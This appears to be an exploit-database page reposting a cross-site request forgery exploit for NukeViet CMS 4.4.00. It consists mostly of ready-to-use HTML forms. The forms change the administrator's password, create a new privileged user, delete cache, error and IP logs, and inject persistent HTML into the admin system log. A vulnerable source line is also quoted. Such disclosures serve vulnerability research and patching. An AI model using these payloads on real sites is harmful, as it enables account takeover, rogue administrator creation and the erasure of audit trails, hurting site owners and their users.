Advertisement






NukeViet VMS 4.4.00 Cross Site Request Forgery

CVE Category Price Severity
N/A CWE-352 Unknown High
Author Risk Exploitation Type Date
Unknown High Remote 2020-05-20
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H 0.72149 0.830352

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020050156

Below is a copy:

NukeViet VMS 4.4.00 Cross Site Request Forgery
# Exploit Title: NukeViet VMS 4.4.00 - Cross-Site Request Forgery (Change Admin Password)
# Date: 2020-05-18
# Exploit Author: JEBARAJ
# Vendor Homepage: https://nukeviet.vn/
# Software Link: https://github.com/nukeviet/nukeviet/releases/download/4.4.00/nukeviet4.4.00setup.zip
# Version: 4.4.00
# Tested on: Windows 10 Pro
# CVE : N/A
+---------------------------------------------------------------------------------------------------------------------------------------------------+

Description:
NukeViet CMS v4.4.00 suffer from Cross Site Request Forgery (CSRF) vulnerability.This Vulnerabilty lets attacker change profile details and password of the user without knowing thier old password. Create a new user with admin privileges. Delete Sensitive and other log files.

1. Changing password of Admin user and thier profile details

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/nukeviet/admin/index.php?language=en&nv=users&op=edit&userid=1" method="POST">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="email" value="admin@admin.com" />
      <input type="hidden" name="first_name" value="admin" />
      <input type="hidden" name="last_name" value="" />
      <input type="hidden" name="gender" value="N" />
      <input type="hidden" name="birthday" value="07/05/1986" />
      <input type="hidden" name="sig" value="" />
      <input type="hidden" name="question" value="123" />
      <input type="hidden" name="answer" value="1234" />
      <input type="hidden" name="photo" value="" />
      <input type="hidden" name="group_default" value="1" />
      <input type="hidden" name="password1" value="Admin123456" />
      <input type="hidden" name="password2" value="Admin123456" />
      <input type="hidden" name="confirm" value="1" />
      <input type="hidden" name="nv_redirect" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

2. Create new user.

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/nukeviet/admin/index.php?language=en&nv=users&op=user_add" method="POST">
      <input type="hidden" name="username" value="aaaaa" />
      <input type="hidden" name="email" value="aaaaaaa@aaaaaaaaaa.com" />
      <input type="hidden" name="password1" value="VeK8hsRYn9TRk7z" />
      <input type="hidden" name="password2" value="VeK8hsRYn9TRk7z" />
      <input type="hidden" name="first_name" value="asdf" />
      <input type="hidden" name="last_name" value="asdf" />
      <input type="hidden" name="gender" value="M" />
      <input type="hidden" name="birthday" value="01/05/1994" />
      <input type="hidden" name="sig" value="" />
      <input type="hidden" name="question" value="asdf" />
      <input type="hidden" name="answer" value="asdf" />
      <input type="hidden" name="photo" value="" />
      <input type="hidden" name="is_official" value="1" />
      <input type="hidden" name="is_email_verified" value="1" />
      <input type="hidden" name="confirm" value="1" />
      <input type="hidden" name="nv_redirect" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>



3. Deleting Log files

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/nukeviet/admin/index.php?language=en&nv=webtools&op=clearsystem" method="POST">
      <input type="hidden" name="check_all[]" value="yes" />
      <input type="hidden" name="submit" value="Submit" />
      <input type="hidden" name="deltype[]" value="clearcache" />
      <input type="hidden" name="deltype[]" value="clearfiletemp" />
      <input type="hidden" name="deltype[]" value="clearerrorlogs" />
      <input type="hidden" name="deltype[]" value="clearip_logs" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Persistent HTML injection via CSRF

Since the application has xss protection header it is hard to get an XSS. HTML injection is possible via unsanitized parameter passed to database and then displayed in Informations -> system logs tab on admin panel.

Vulnerable Source code:
clearsystem.php -> line 58 
nv_insert_logs(NV_LANG_DATA, $module_name, $lang_module['clearsystem'], implode(", ", $deltype), $admin_info['userid']);

There are many instances like this triggering to html injection.

P0c: htmlinjection.html
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/nukeviet/admin/index.php?language=en&nv=webtools&op=clearsystem" method="POST">
      <input type="hidden" name="submit" value="Submit" />
      <input type="hidden" name="deltype[]" value="test:<input type="text"/>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum